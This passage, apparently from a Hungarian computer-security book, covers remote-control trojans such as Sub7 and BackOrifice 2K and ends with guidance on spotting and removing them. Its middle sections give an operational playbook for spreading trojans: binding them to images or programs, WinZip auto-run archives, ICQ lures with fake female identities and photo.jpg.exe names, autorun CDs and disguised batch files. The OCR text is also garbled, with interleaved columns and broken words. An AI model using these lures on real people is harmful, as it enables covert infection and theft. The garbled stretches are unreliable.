Az elhelyezésre a hackereknek és az ilyen eszközök programozóinak is rengeteg ötletük van. A trójaik lehetnek programba integrálva vagy fájlokhoz fűzve (erről később többet). Az egyik legismertebb eset egy trójai elrejtése a Linux SÁTÁN 1.0 programkódjában. Egy programozó hozzáfért egy fejlesztői géphez, amelyen a SÁTÁN 1.0 forráskódja volt, módosította a main()-funkcókat, megváltoztatta az Fpinget úgy, hogy a SÁTÁN indításakor a jelszófájlba egy bejegyzés került, amellyel egy új felhasználót jegyzett be, aki ezzel elérést kapott. Szerencsére a programozás nagyon hibás volt, így nem keletkeztek jelentősebb károk. Ez az eset is mutatja, hogy a hackerek nem csak az ismert módokat, mint pl. az e-mail mellékleteket, választják, hogy az áldozataikhoz jussanak. A szerver futtatása általában két lépésből áll. Először is aktiválni, majd telepítem és konfigurálni kell a szervert a rendszeren. Ez a lépés többnyire az elhelyezéssel egybekötve történik, a szerverfájl mindjárt el is indul. A második lépésben el kell érni, hogy a szerver az operációs rendszerrel együtt automatikusan elinduljon, és a háttérben aktív legyen. Csak ezután lehet célzottan megszólítani. Az IP-címet a trójaitól és az eljárás módjától függően különböző utakon kapja meg a hacker: az ICQ-val történő elhelyezés esetén a következő kapcsolatnál közvetlenül lekérdezheti az áldozat aktuális IP-címét. A komplex trójai programok, amelyeket később még bemutatunk, automatikus értesítést adnak, ha a fertőzött számítógép a hálózatra, illetve az internetre lép. Már csak az kell, hogy maga a hacker is online legyen a megfelelő időben, és megkapja a támadáshoz szükséges IP-címet.
zel a kliens az idegen számítógép irányítócentruma lesz. Hogy hogyan használja ki ezt a veszélyes potenciált, az a támadótól függ.
4.2.3 Hogyan szerzik meg a hackerek az IP-t? A trójai használatához tehát szükség van a fertőzött számítógép IP-jére. Mivel a legtöbb felhasználó szolgáltatón keresztül létesít internetkapcsolatot, minden kapcsolódásnál egy másik, dinamikus IP-címet kap. Ez megnehezíti a trójai szerver elérését, mert nem lehet tudni, hogy a fertőzött számítógép egyáltalán online-ban van-e, és ha igen, milyen IP cím alatt. A legkönnyebben úgy lehet megkaparintani az aktuális IP-t, ha mondjuk átvitel közben IRC-n vagy ICQ-n keresztül, tehát amikor fennáll a kapcsolat a fertőzött számítógéppel, DOS parancssor-ra váltunk, és ott beírjuk: netstat - n. Ezután igen könnyű kiolvasni remote címekből a trójai szerver IP-jét. A kapcsolat könnyen felismerhető
4.2.2 A kliens otthon marad, és vezérli a szervert Ha egy trójai távirányítási funkciókat kínál, a támadónak egy vezérlőprogramra is szüksége van. Ezzel a programmal tud akciókat kiváltani a szerverrel a számítógépek között fennálló kapcsolaton keresztül. A kliens ehhez célzottan a fertőzött számítógép IP-címén szólítja meg a szervert. Az akciók lehetnek viszonylag ártalmatlanok, mint a CD-ROM-meghajtó nyitása, de kártékonyak is (adatok törlése) vagy kémkedők (adatok átadása). Hogy a kliens milyen funkciókat tud vezérelni, az a felhasznált szoftvertől függ. A szerver konfigurálásánál meg lehet határozni a klienshez küldés módjait és az akciós lehetőségeket is, amelyeket a kliens el tud indítani. Ez-
Egy másik lehetőség, ha nincs fennálló közveden online-kapcsolat, válogatás nélkül címeket szkennelni. Ehhez a legtöbb trójainak integrált szkenneré is van, amellyel meghatározott IP-tartományokat lehet tapogatni. És már meg is lehet fogni a klienssel egy fertőzött számítógép szerverét, és irányítani lehet azt. Ez így nagyon egyszerűen hangzik, de nem leéli feltétlenül annak lennie. A különböző trójaiak leírása a továbbiakban következik. Ha a szerver automatikus értesítésre van beállítva, az IP-keresés viszonylag egyszerű. Amint a fertőzött számítógép kapcsolatba lép a hálózat-
tál, illetve az internettel, a szerver átküldi az aktuális IP-t a kliensnek, amennyiben az éppen online van, vagy mail-ben küldi el az aktuális IP-t. így tud a hacker célzottan rajtaütni a fertőzött számítógépen.
4.3 így álcázzák és terjesztik a trójaiakat
A veszélyes kis programok terjesztésére a legkülönbözőbb lehetőségeket agyalták ki a programozók. A profik például más programokba integrálják a trójaiakat, hogy könnyen és gyorsan tudják terjeszteni. A hobby-hackerek, ha hiányoznak a programozási ismereteik, inkább más utakat választanak. A trójaiak minden esetben veszélyesek, mert annak a szándékait uralják, aki a szervert vezérli. A következőkben nemcsak az egyszerű álcázásokkal ismerkedünk meg, hanem a hobby-hackerek eljárásaiba is betekintünk. Erről az internet idevágó fórumain olyan rengeteg információ gyűlt össze, hogy abból már igazi „gyűjtemény" áll össze. A stratégiák egy része valóban profinak is mondható, míg mások inkább csak a hobby-hackerek eszközei közé sorolhatók. PC-felhasználóként mindenesetre ismernünk kell ezeket. Hogy egy pillantást vethessünk a dolgok menetére, egy Defcon4 nevű hackercsoport (csak csekély mértékben módosított) szövegét fogjuk használni. „A szervert mail-ekén, ICQ-n vagy IRC-n keresztül küldjük. Képnek álcázzuk (valami nem gyereknek való mindig jól jön) vagy toolnak, attól függően, hogy az áldozat mit kíván. Tedd fel hasznos programként a honlapodra, vagy kérj meg egy baráti webmestert, hogy kínálja a honlapján, azt persze nem kell elmondani, hogy trójait rejtettél bele. Ha már így elterjeszted a szervert a nép körében, akkor nem rossz, ha megfelelő értesítőfunkciókkal rendelkező trójait használsz. Ezek arra valók, hogy értesítsenek, amint az áldozat online van, és mail-ben vagy ICQ-n keresztül üzenetet küldjenek neked, amelyben bizonyos információkat kapsz az áldozatról és számítógépéről, pl. az IP-t, amire szükséged van, hogy bekösd a szervert."
4.3.1 A trójaiakat fájlokba integrálják A szervert össze lehet kötni különböző fájlokkal, pl. .GiF, JPG, tehát képekkel, vagy be lehet építeni segédprogramokba, tehát EXE fájlokba.
Ehhez a hálón nagyon sok program áll rendelkezésre. Egyes trójai kiteknek, mint például a Sub7-nek, olyan funkcióik vannak speciális konfigurációs fájlokban (Editserver), amelyekkel a legkülönbözőbb fájlokkal lehet öszszekötni a konfigurált szervert, sőt még a szerver ikonját is meg lehet változtatni. Ez akkor célszerű, ha az áldozatot valóban meg akarjuk téveszteni egy fájllal. Ehhez minden ikon felhasználható, amelyeket a programok egyébként is használnak: a képek JPEG fájlként megtévesztőén hasonlítanak az eredetire, így a vélt DOC fájlok egy megnyugtató Winword ikont tudnak prezentálni. A szerver fájlokhoz fűzése a következő előnnyel jár: ki lehet indulni abból, hogy az áldozat nem fogja gyanúsnak találni vagy rossz szándékot feltételezni arról a programról vagy a képről, amelybe a szerver be van ágyazva. Ikon-kiosztás a szervernek
Olyan programnak, amelybe a szervert ágyazzák, különösen alkalmasak az animációk és a gag-programok. Ezeket mindenki szívesen küldi és nézegeti.
4.3.2 Álcázás a WinZip-pel A trójai ügyes elhelyezéséhez a világ leggyakrabban használt tömörítő programjának, a WinZip-nek a programbeállításait is használják egyes hackerek. Ilyenkor egy új WinZip archívot készítenek, és más fájlokkal (képek stb.) együtt csomagolják össze a szervert. A run command after unzipping parancs az archívból történő kicsomagolás után azonnal elindítja a szervert. Ezután a melt server after installation szerver opció segít, mert ez a sikeres telepítés után azonnal törli a szervert. Az archív ártalmatlan önkicsomagoló fájllá változik, és máris van egy tökéletesen álcázott trójai.
4.3.3 A trójaiakat az ICQ-val is tovább lehet adni Ön is kedveli ezt a kényelmes kommunikációs szolgáltatást az interneten? Van már egy listája kedvelt „beszélgetőpartnereiről"? Akkor valószínűleg érdekelni fogják azok a lehetőségek, amelyek az ICQ-nak köszönhetően adódnak a hackereknek. Nos, ez így megy (megint a Defcon4 „információi" szerint): Először begyűjtünk minden eszközt, amire szükségünk lesz. Ezek az alábbiak lennének: • A Sub7 trójai (magyarázat 1. lent) • MICQ (többször elindítja az ICQ-t) • ICQ-AutoAuthorize/IP-Unhider Patch • The Thing (kis trójai) A MICQ egy program, amely lehetővé teszi az ICQ több példányának a párhuzamos indítását. Ezzel egyidejűleg lehet online két vagy több UIN. Az ICQ Auto-Authorize/IP-Unhider-Patch megengedi UIN-ek hozzáfűzését a saját kontaktlistához, anélkül, hogy a másiknak ehhez engedélyt kellene adnia. Ezen kívül az infóban minden személy IP-jét megmutatja, akkor is, ha ez a funkció nálunk nincs aktiválva (az IP-ről és kiosztásáról lásd az alapismeretekről szóló fejezetet). A The Thing egy kis trójai. A legtöbb trójai a sok szolgáltatás miatt már eleve akár 400 Kbájt is lehet. Tehát akinek van egy kis tapasztalata, az könnyen kiszámolhatja magának, hogy mi rejtőzik egy ilyen fájl mögött. A The Thing ezzel szemben csak kb. 40 Kbájt (nagyjából annyi, mint egy nagyobb kép). Amint ez a fájl az áldozat gépén egyszer lefutott, megnyílik egy hátsó kapu, amelyen át más fájlokat lehet feltölteni és végrehajtani. Álcázás az ICQ-val Ha lehet, akkor amilyen jól csak lehet, álcázzuk a saját identitásunkat. A legjobb, ha generálunk egy új ICQ-UIN-t (a MICQ-val többel is online lehetünk egyszerre). Férfi áldozatokhoz általában a női identitás az ideális. Megkeressük az áldozatot a trójai terjesztéséhez, és hozzáfűzzük a kontaktlistához. Ekkor reális az esélye annak, hogy az áldozat észreveszi a támadást, hiszen a kontaktlistát a beleegyezése nélkül bővítették. Ilyen eset-
ben már csak ártatlan kifogások segítenek, amelyben olyan fogalmak, mint hacker meg hasonlók garantáltan nem fordulnak elő. Ha a fájl küldéséhez az ICQ-t használjuk, a régebbi ICQ-verziók egy kis búgját is kihasználhatjuk: ezek általában nem mutatják meg a fájlvégződéseket. Ha egy fájlt photo.jpg.exe nek nevezünk el, átvitelkor csak a photo.jpg jelenik meg, és ez nem különösebben feltűnő. A hacker ráér A szervert általában nem az első kapcsolatfelvételnél küldjük el az ICQ-n keresztül. Sokkal jobb, ha kezdetnek elküldünk egy pár tiszta fájlt. Egy pár nap múlva azután már sokkal kisebb feltűnést kelt bármilyen állomány. Az áldozatot persze nem kényszerítjük, hogy elfogadja a fájlt. Ha a fájlt visszautasítja az ICQ-n keresztül, még mindig el lehet neki küldeni egy pár nappal később egy anonim mail-fiókról. „Ha az áldozat tényleg gyanítja, hogy egy fájl mögött vírus vagy trójai rejtőzik, egyszerűen várni kell pár napot, valamit fecsegni, és aztán egy nagyon kicsi fájllal megpróbálkozni, amilyen például a The Thing. Mint már mondtuk, ez a trójai túl kicsi ahhoz, hogy feltűnjön."
4.3.4 Elég egy CD és az automatikus lejátszás funkció A trójai kihelyezésének egyik kedvelt módja a CD-n keresztüli terjesztés. Ezt többnyire a közeli környezetben található célok megtámadásához választják. Ehhez egy program vagy egy játék kalózmásolatát használja a hacker. A CD-ROM-on megváltoztatja az Autorun.inf fájlt. Egy Autorun.inf szövege, amely egy trójaira utal
Az alapelv a következő: a felhasználó beteszi a CD-ROM-ot a meghajtójába, és a szerver automatikusan elindul a játék bevezetőjével együtt, anélkül, hogy észrevehető lenne. Ehhez a Windows 9.x automatikus lejátszás funkcióját használja ki a hacker. Ez egy CD-ROM felismerése után azonnal kiértékeli a megfelelő Autorun.inf fájl adatait és végrehajtja a fájlt. Esetünkben tehát a szervert is.
4.3.5 A lemezek majdnem ugyanígy működnek Ez az alapelv a lemezekre is átvihető, és ekkor a következőképpen működik. A hacker létrehoz egy mappát a lemezen, amelynek például Film a neve. Ebben a mappában létrehoz még két további mappát; az egyik neve mondjuk Film Data, a másiké Xxdata. A Film Data mappába másolja a tulajdonképpeni filmet (*.AVI vagy *.MPEG fájlt), a másik Xxdata mappába másolja a szervert. Most az editorral készít egy batch-fájlt (kötegelt parancsfájlt) a lemez főkönyvtárában, és Film.bat néven menti. A batch-fájl elindítja a szervert
Ha ezt a lemezt most megkapja a felhasználó, és elindítja a Film.bat-ot, a trójai is elindul. Az @echo parancs szolgál arra, hogy a user előtt ne jelenjen meg a futtatás DOS-ablakban.
4.3.6 További terjesztési stratégiák A trójaiak terjesztésének különböző stratégiái immár világossá váltak. A közvetlen kapcsolatok az ICQ-n keresztül elsősorban a közelebbi és a távolabbi ismerősök területén könnyítik meg a terjesztést, az internet-kapcsolat
anonimitása védi a tettest, és támadhatóvá teszi az áldozatot. A terjesztés CD-n keresztül is inkább a hobby-hackereknek való, mert a hordozó csak a tartalma révén (játék, feltört program stb.) válik igazán vonzóvá. A talán legfontosabb és legsikeresebb eljárás a letöltésre kínált anyagokkal és a vírusokkal való terjesztés. Ebben a két esetben más késztetések vannak a háttérben, mert az ilyen tömeges fertőzések mind a tervezés, mind a kiértékelés/felhasználás szempontjából sokkal ráfordítás-igényesebbek. Egy trójait gyorsan nagy számban elhelyezni nemcsak ideális álcázást kíván - a Kurnyikova-vírus jó példa a sikert ígérő környezetekre, amelyek magas rákattintási és ezzel installálási arányt garantálnak. Emellett természetesen terjesztési stratégiát is kell fejleszteni, amely lehetővé teszi az elhelyezést világszerte több ezernyi számítógépen. Ez a legegyszerűbben férgekkel (warm) érhető el, amelyek úgy szaporodnak, hogy a levelezési címlisták minden címére elküldik magukat. Ezzel szemben egy letöltésre kínált anyagot először fáradságosán ismertté kell tenni, mielőtt a megfelelő számú kihelyezés megtörténhetne. Addig pedig a terv még csődöt is mondhat. Egy nagy számban kihelyezett trójaiból beérkező adatokat természetesen ki is kell értékelni, mert nem minden trójai kínál valóban érdekes adatokat a hackereknek. Az olcsó szörfözésre utaló jelszavak viszonylag érdektelenek. Fontosabbak a hálózati hozzáférési jelszavak stb. Természetesen egy trójaival jelentős károkat lehet okozni, de ha csupán a nagy mértékű pusztítás a cél, egy vírus végülis sokkal sikeresebb. Ez utóbbinál nem kell célzott támadásokkal és hasonlókkal bajlódnia a hackernek, hanem egyszerűen az időfaktorra (dátumvezérlés) vagy a használati gyakoriságra (a rombolás x fájlindítás után indul) épít. A trójai tulajdonképpen minden esetben olyan támadási technikát jelent, amelynél fontosabb a hozzáférés, mint a rombolás.
4.3.7 Mit csinálnak a hobby-hackerek a trójaiakkal? A kérdés az első hallásra figyelemreméltóan hangzik, de ha belegondolunk, a legtöbb ember ugyan kíváncsi, de technikailag nem elég képzett ahhoz, hogy célzottan jelszavakat vagy hasonlókat kutasson ki. Az adatok azonnali tönkretétele inkább személyes ellenségeskedésből fakad, és erre, mint azt majd a következő fejezet mutatja, alkalmasabbak a vírusok. Persze azért ez a motívum sem zárható ki. És mostanra már tudják, milyen stratégiákkal tudja egy hacker célzottan megközelíteni az áldozatát.
A legtöbben azonban, akik csak úgy kísérletezgetnek egy kicsit ezzel, tulajdonképpen nem is tudják, hogy valójában mit is akarnak kezdeni az áldozat gépén. Általában kíváncsiság és egy adag vandalizmus rejtőzik a háttérben, amint azt a következő, az interneten található „szabályokból" is láthatjuk. „Ha sok fantáziával és több ICQ-UIN-nal végre sikerült egy trójait elültetnünk az áldozat számítógépén, nem kell mindjárt nekikezdeni a mulatságnak. Először túrd át pár napig az áldozat gépét, és nézd meg az összes adatát. Áthelyezhetnél fájlokat, információkat fűzhetnél dokumentumokhoz, megváltoztathatnád a startlapját, és tovább tanulmányozhatnád a trójai sok funkcióját. Legyetek szívesek, ne nagyon bántsátok az áldozat adatait. Mindannyian tudjuk, hogy az már nem túl vidám dolog, ha fontos adatokat veszítünk el. Amint hozzáférünk az áldozat adataihoz, elsőként töröljük a C. \windows\netstat.exe-t. Én személy szerint teljes mértékben az adatmegsemmisítés ellen vagyok. Ezzel a Windows programmal viszont minden hálózati kapcsolatot meg lehet nézni...azért ez förtelmes lenne, nem?" Önfertőzés ügyetleneknek Azoknak a hobby-hackereknek, akik kísérletezés közben saját magukat fertőzik meg trójaival, a következő tanácsot tartja készenlétben az internet: „Ha az ember az első fertőzési kísérleteknél saját magát fertőzi meg, akkor egyszerűen kliensként összeköttetésbe lép saját magával (a saját gép IP-je mindig 127.0.01!), fogja, és törli a szervert!"
4.4 Sub7 - egy trójai rémisztő lehetőségekkel A Sub7, egy backdoor-trójai, 1999 márciusában került a hálóra az első verziókban, egy Mobman álnéven működő programozó „válaszaként" a NetBusra és a BackOrifice-vz. Azóta ez a backdoor-tool folyamatosan tökéletesedik és új funkciókkal bővül. A Sub7 a legkomolyabb és a neten legelterjedtebb trójaiak közé tartozik. Hogy világszerte milyen sok rendszer volt Sub7-tel fertőzött, illetve hogy még most is az, azt az úgynevezett portszkennek mutatják, amelyek „több mint elég" fertőzött rendszert jelentenek.
Pillanatkép egy trójairól
4.4.1 Támad a Sub7 A Sub7 tágabb értelemben egyfajta távkarbantartó programhoz hasonlítható. A távkarbantartó szoftver, azaz a remote access tool vagy remote administration tool, a rendszergazdák távkarbantartó és konfigurációs munkáját könnyíti meg a hálózatba kötött számítógépeken, nagyobb hálózatokban. Ismert remote access program pl. a PCAnywher a Symantectől. Destruktív módon felhasználva, egy ilyen szoftverrel a teljes ellenőrzést át lehet venni egy fertőzött számítógép felett. Ez azt jelenti, hogy a megfelelő kliens tulajdonosa minden olyan funkciót végrehajthat a fertőzött gépen, amit a gép tulajdonosa is megtehet. Az egyes funkciók későbbiekben történő említése bizonyosan hozzá fog járulni az ilyen szoftverből eredő potenciális veszélyek felméréséhez. Egy olyan trójai, mint a Sub7, több fájlból áll, amelyek egymáshoz kapcsolódva gondoskodnak a támadó gép és a fertőzött gép kapcsolatáról.
A Sub7 szervere A szerver ahhoz szükséges, hogy a műveleti konzolok (kliens) között kapcsolatot teremtsen, és irányítsa a fertőzött gépet. Ennek a modulnak tehát feltétlenül telepítve kell lennie az irányítandó rendszerre ahhoz, hogy Sub7-es fertőzöttségről lehessen beszélni.
Pillantás a Sub7 váltóközpontjára
Minden működést a kliens irányít A kliensre azért van szükség, hogy a trójai egyes funkcióit inicializálja, és ezzel irányítóközpontként működhessen. A klienst teljesen hagyományos Windows-programként kell elképzelni, grafikus felülettel, gombokkal, menükkel és kiválasztómezőkkel, amelyekről egészen kényelmesen el lehet indítani az egyes funkciókat. A Sub7-nek kapcsolata van a szerverre!
Edit-Server Az Edit-Server egy kiegészítő program, amellyel a szervert lehet konfigurálni. Itt lehet például rögzíteni, hogy miként telepítse magát a célgépre a szerver, továbbá itt lehet meghatározni a szerver nevét is. Ehhez jönnek egyes ICQ-beállítások (értesítés, jelszókikémlelés, UIM-kicsomagolás), a port, amelyről a trójai kommunikál (az újabb verziókban véletlenszerű is lehet - itt a port a futási időben derül ki), és hogy a felhasznált port rejtve legyen-e. Azt is meg lehet adni, hogy a szerver közvetlenül a telepítés után azonnal elinduljon-e, és hogy egy másik futtatható fájlhoz kapcsolódjon-e, hogy az a szervert az installáció előtt elrejtse.
így előkészítve sokféleképpen közelíti meg a támadó az áldozatát, és megkísérli a célrendszerre telepíteni a szervert.
4.5 BackOrifice 2K - Hálózati eszköz vagy támadás a Microsoft ellen 1998. augusztus elején mutatta be a texasi Cult of the Dead Cow hackercsoport a BackOrifice Windows Remote Administration Tool-t egy hackertalálkozón, Las Vegasban. Egy ügyesen programozott kliens/szerver alkalmazásról volt szó, amely trójai falóként észrevétlenül tudott futni egy Windows 9x operációs rendszeren. Ugyanezen év augusztus 7-ig a programot több mint 35 ezerszer töltötték le a CDC honlapjáról. A BackOrifice célja - állította a hackercsoport - a Windows 95/98 alatti súlyos biztonsági hiányosságok feltárása. És ehhez a program nem a Windows operációs rendszer valamiféle búgjait vagy belső dokumentálatlan API-jeit használja, hanem kizárólag dokumentált Windows funkcióhívásokat. A Microsoft válasza nem váratott magára sokáig, bár azt nem ismerték el, hogy Windows 9x alatt biztonsági problémák lennének. A 2000-ben a Cult of the Dead Cow (CDC) kihozta a BackOrifice új verzióját: a BO2K-t. A CDC ezzel a verzióval „trójainak" kikiáltott programjának a hírén akart javítani, és új képességekkel bővítette, így például a magasfokú titkosítással, amely csaknem lehetetlenné teszi, hogy az átvitt adatok egy harmadikhoz kerüljenek. Különösen ennek kellett a BO2K-t érdekessé tenni a hálózati rendszergazdák számára. A hackereket azonban ezek a dolgok nem nagyon érdekelhették, mert a BackOrifice ezután is az egyik legkedveltebb trójai maradt.
4.5.1 A BO2K és összetevői íme egy áttekintés a legfontosabb fájlokról és funkcióikról a távkarbantartási funkciók és a trójai működés komplex együttműködésében. Fájl bo2k.exe
Funkció Ez a szerver. Ha elindul, automatikusan a C:\Windows\System könyvtárba másolja magát. A Registry-be is bejegyzi magát úgy, hogy minden Windows-indításkor automatikusan aktiválódjon. Ha a szerver csak egyszer is elindul, a gép már megfertőződött. A szervert kiegészítő részek-
4.6 így ismerjük fel a trójait a rendszerünkben Most, hogy a trójai falovak bevetésének a lehetőségei és potenciális veszélyei ismertté váltak, felmerül a kérdés, nem vagyunk-e már magunk is fertőzöttek. Ezért szeretnék itt néhány lehetőséget bemutatni, hogyan lehet felismerni és leküzdeni egy rendszerben a trójai vírusokat. A gyakorlatlan felhasználónak ez nehéznek tűnhet, mivel az ilyen programok keresése gyakran beavatkozásokat igényel a rendszerbe, illetve a Registry-be. Vannak azonban olyan programok, amelyek jelentősen megkönnyítik a standard trójaiak felkutatását.
kel (pluginek) még bővíteni lehet. bo2kgui.exe
A kliens a BO2K „látható" része. A grafikus felhasználói felületen keresztül lehet a fertőzött PC-t távirányítani, anélkül, hogy különösebb ismere-
4.6.1 Vírus- és trójai-szkenner
tekre lenne szükség róla. Mielőtt a kliens a szerverrel kapcsolatba tudna lépni, néhány dolgot még be kell állítani rajta (jelszó stb.). Az IP (ez a címe egy PC-nek az interneten) is szükséges a kliens és a szerver öszbo2kcfg.exe
szekötéséhez. Ezzel a programmal lehet fontos beállításokat (kódolás, port, amelyen a szerver és a kliens összekapcsolódnak, a szerver neve, amelyen a rendszerkönyvtárba másolódik stb.) végezni a szerveren, és kisebb bővítéseket (pluginek) hozzáfűzni.
Fájlok és funkcióik együttműködése
A BO2K legfontosabb fájljaihoz jön még néhány plugin: Fájl bo2k_inetcmd.dll
Funkció Lényegében ezek a szerver alapfunkciói. Ez a plugin gondoskodik
enc_serpent.dll
A SERPENT feladata, hogy az adatok kódoltan közlekedjenek a kli-
arról, hogy fájlokat lehessen kicserélni. ens és a szerver között. io_stcpio.dll
Ez a plugin az első pillantásra ugyan nem nyújt új lehetőségeket, de ez kódolja a TCP-csomagok headerét. így ezeket nem lehet BO2K-
srv_rattler.dll
Ez a plugin látja el az értesítési funkciókat: ha a szerver elindult, a
adatforgalomként (Traffic) felismerni. Rattler mailben elküldi az áldozat IP-jét. B02K pluginek
Alapvetően minden rendszerben mindig kell telepített vírusvizsgálónak lennie. Továbbá feltétlenül szükséges, hogy ez állandóan aktualizálva legyen, hiszen szinte naponta fedeznek fel új trójaiakat. Az első vizsgálat előtt figyeljünk arra, hogy a Minden fájl ellenőrzése vagy hasonló funkció aktív legyen. Ezt a gyártók gyakran nem állítják be előzetesen, mert a szkennelés így túl sokáig tarthat. Arra is figyelnünk kell, hogy a szkenner ne törölje azonnal a fertőzött fájlokat, mert egyes trójaiak szerzői biztonsági intézkedéseket építettek a programjaikba az eltávolításnak e módja ellen, és ez a vírusvizsgálónak jelentős problémákat okozhat, Sőt bizonyos esetekben még ahhoz is vezethet, hogy a rendszer használhatatlanná válik - vagy jobban mondva: a gép totál lefagy. Mobman például beépített egy ilyen funkciót a Sub7-be. Ha a vírusvizsgáló fertőzést talál, a megtisztítás különböző lehetőségeit fogja javasolni. Először - mint mondtuk - tekintsünk el az érintett fájlok törlésétől, hogy elkerüljük az esetleges károkat. Próbáljuk meg a fájlokat izolálni, illetve karanténba tenni. Ha a vírusvizsgáló nem talál fertőzött fájlokat, az még messze nem jelenti azt, hogy a számítógép tiszta. A trójai rejtőzködhet - és megtévesztheti a víruskeresőt. Hogy az ilyen esetekben mit tehetünk, azt a következő szakasz részletezi. A trójaiak leküzdésének most következő módjánál nagyon óvatosnak kell lennünk. Ha nem vagyunk biztosak magunkban, inkább kérjünk tanácsot szakembertől.
4.6.2 AutoRun bejegyzések Egy trójai csak akkor működik, ha a rendszerindítással együtt elindul. Ez azt jelenti, hogy a szervernek a rendszer hátterében állandóan futnia kell, hogy online kapcsolat esetén kész legyen parancsokat fogadni a klienstől.
Autostart (Indítópult)-mappa - kevésbé valószínű Klasszikus változat az automatikusan indítandó programok indítására az autostart (Indítópult)-mappa. Ez az indítási lehetőség azonban nagyon valószínűtlen, mert nagyon nagy a felfedezés valószínűsége. Az Indítópultot a következőképpen lehet ellenőrizni: közvetlenül a Start menüből: Start Programok Indítópult vagy C:\Windows\Startmenu\ProgramokMndítópult. Az olyan rendszereknél, mint a Windows NT, a mappát a felhasználói profilokon keresztül lehet megtalálni (C:\WinNT\Profiles\ Username \Startmenü\Programok \Indítópult). Itt aztán szokatlan dolgok után kell kutatni, és esetleg programokat, illetve parancsikonokat kell törölni, amelyeket nem ismerünk, és egy trójait indíthatnának el. A Win.ini a Windows 3.x-es időkben volt érdekes Régebben nagyon kedvelt módszer volt a Win.ini bejegyzésein keresztül indítani a trójaiakat. Hogy ezt kizárjuk, írjuk be a Start/Futtatásba a sysedit.exe-t. Nézzük meg a Load és a Run paraméterek mögötti bejegyzéseket. De persze a parancsokat többnyire rengeteg üres karakterrel álcázzák a paraméter-megnevezések mögött, hogy ne legyenek rögtön láthatóak. Gördítsük az alsó gördítősávot egyszerűen jobbra, míg a sor végét is látjuk. Szükség esetén távolítsuk el a gyanús bejegyzéseket. System.ini - elég ritka Ebben a fájlban a shell= paraméter alatt fordulhat elő bejegyzés. Óvatosan! Itt már van egy Explorer.exe nevű bejegyzés, ezt semmiképpen se töröljük! Az Explorer.exe után azonban még további bejegyzések következhetnek. A System.ini-t ugyanúgy nyitjuk meg szerkesztésre, mint a Win.ini-t.
autoexec.bat - DOS-os hulladék, kis rizikófaktorral Itt is óvatosnak kell lenni a törléssel, mert ide is bejegyzi magát néhány ártalmatlan program. A trójaiak ritkán használják ezt a lehetőséget. Mivel azonban ez a lehetőség is adott, hát megemlítjük. Az autoexec.bat-ot is a sysedit.exe-vel lehet megnézni és szerkeszteni. config.sys - csak a szokatlan eszközmeghajtók veszélyesek Néhány ritka trójai a Windows 95/98-s rendszerek eszköz-meghajtójaként is álcázza magát. Ezeket a trójaiakat azonban nehéz realizálni, és szerencsére nagyon ritkák is. A config.sys szintén a sysedit.exe-vel lelhető fel. winstart.bat vagy control.ini - lehetséges, de nagyon ritka Ha a winstart.bat-ban felismerhető egy bejegyzés, ez rendszerint azt jelenti: egy parancssor egy fájl másolását írja elő, amelyet az utolsó rendszerindítás előtt töröltek. Eddig alig ismertek olyan trójaiak, amelyek ezt az utat használnák. A control.ini-ben is el lehet helyezni egy bejegyzést az automatikus indítás céljából- de ez is nagyon ritka.
4.6.3 Windows Registry - ez már izgalmas A regisztrációs adatbázisban megnevezett útvonalak mappákként jelennek meg, az illető ikonra duplán kattintva érjük el őket. Itt megintcsak ajánlatos az óvatosság, mielőtt bármit is törölnénk. Az indulásnak ezt a lehetőségét a rendszerindítással együtt sok ártalmatlan program (pl. uninstallprogramok, vírusvizsgálók, backup programok stb.) is használja, de a trójaiak is. Számos más Registry-bejegyzési lehetőség is előfordul autorun célból, de persze ezeket (szerencsére) csak ritkán használják a trójaiak. Hasznos segítség a Windows saját msconfig programja is. Menjünk egyszerűen a Start gombra, aztán a Futtatás-ra, és írjuk be msconfig. Ezzel a programmal a fent nevezett bejegyzések közül sokat ellenőrizhetünk, és kényelmesen megváltoztathatunk. A sysedit-tel is sokat megtalálhatunk a fentiek közül. Járjunk el úgy, mint az msconfig-nál, helyette azonban ezt írjuk be: sysedit. Több ablak is megnyílik szövegszerkesztő formában.
Következőként hívjuk meg a Rendszerleíró adatbázis-szerkesztőt a Start/Futtatás/Regedit-tel. Megnyílik egy program félelmetesen sok bejegyzéssel. Ezek közül csak néhány útvonal érdekes:
A „%1" %*" karakterek elé be lehetne írni még egy programot. Rendszerint azonban csak az itt megnevezett bejegyzések vannak. Ha valamelyik kulcs még egy futtatható fájlt is tartalmaz, amögött egy trójai rejtőzhet. Gyanú esetén ne az egész bejegyzést távolítsuk el, hanem csak a program nevét! ICQ-usereknél fennáll egy további lehetőség a következő bejegyzésnél:
Registry Installed Components
Vannak még az úgynevezett „Unknown-módszerek", illetve a Windows-regisztráció, a shell paraméterrel. Itt is a Windows Registryt használják a program automatikus indításához. Ezek alatt az útvonalak alatt a következő bejegyzések találhatók:
Registry Common Startup kulcs
A bejegyzés általában Ez alatt az útvonal alatt található a szerver is. Eszközmeghajtónak álcázás Egy trójai, mint már említettük, eszközmeghajtónak is álcázhatja magát. Ilyen esetben nem egyszerű a pontos azonosítás. Végülis lehet az egy valódi meghajtó is, aminek a törlése rendszerproblémákat okoz. Itt is egy Registry-be került bejegyzést keresünk, azonban egy „szokatlan" path-on:
4.6.4 Módszerek az Explorer.exe-vel a C:\ meghajtóra Egy bug miatt a Windows először mindig az első, megtalált explorer.exet futtatja le (kétséges esetben a C:\ könyvtárban), mielőtt a tulajdonképpeni explorer.exe (C:\windows\) elindulna. Az explorer.exe a C:\ -n azt eredményezhetné, hogy legközelebb egy trójai töltődik be, amely a C:\windows\system könyvtárban vagy máshol található.
4.6.5 A runonce.exe kicserélése Csak a Schoolbm trójainál ismert. Az eredeti Windows runonce.exe-t egy módosított fájlra cseréli, amely így lehetővé tesz egy autorun eljárást. Az eredeti runonce.exe mérete a Windows 95 alatt 11264 bájt, Windows 98/ME alatt pedig 40960 bájt. Tehát ha találunk egy runonce.exe-t, amelynek más a mérete, akkor itt is el lehet rejtve egy trójai. Hangsúlyozzuk, LEHET! Ennek a módszernek a további magyarázatához az angolul értők olvassák el a Schoolbus 2.0 trójai leírását, amely a http://serdarka.8m.com/ weboldalon található.
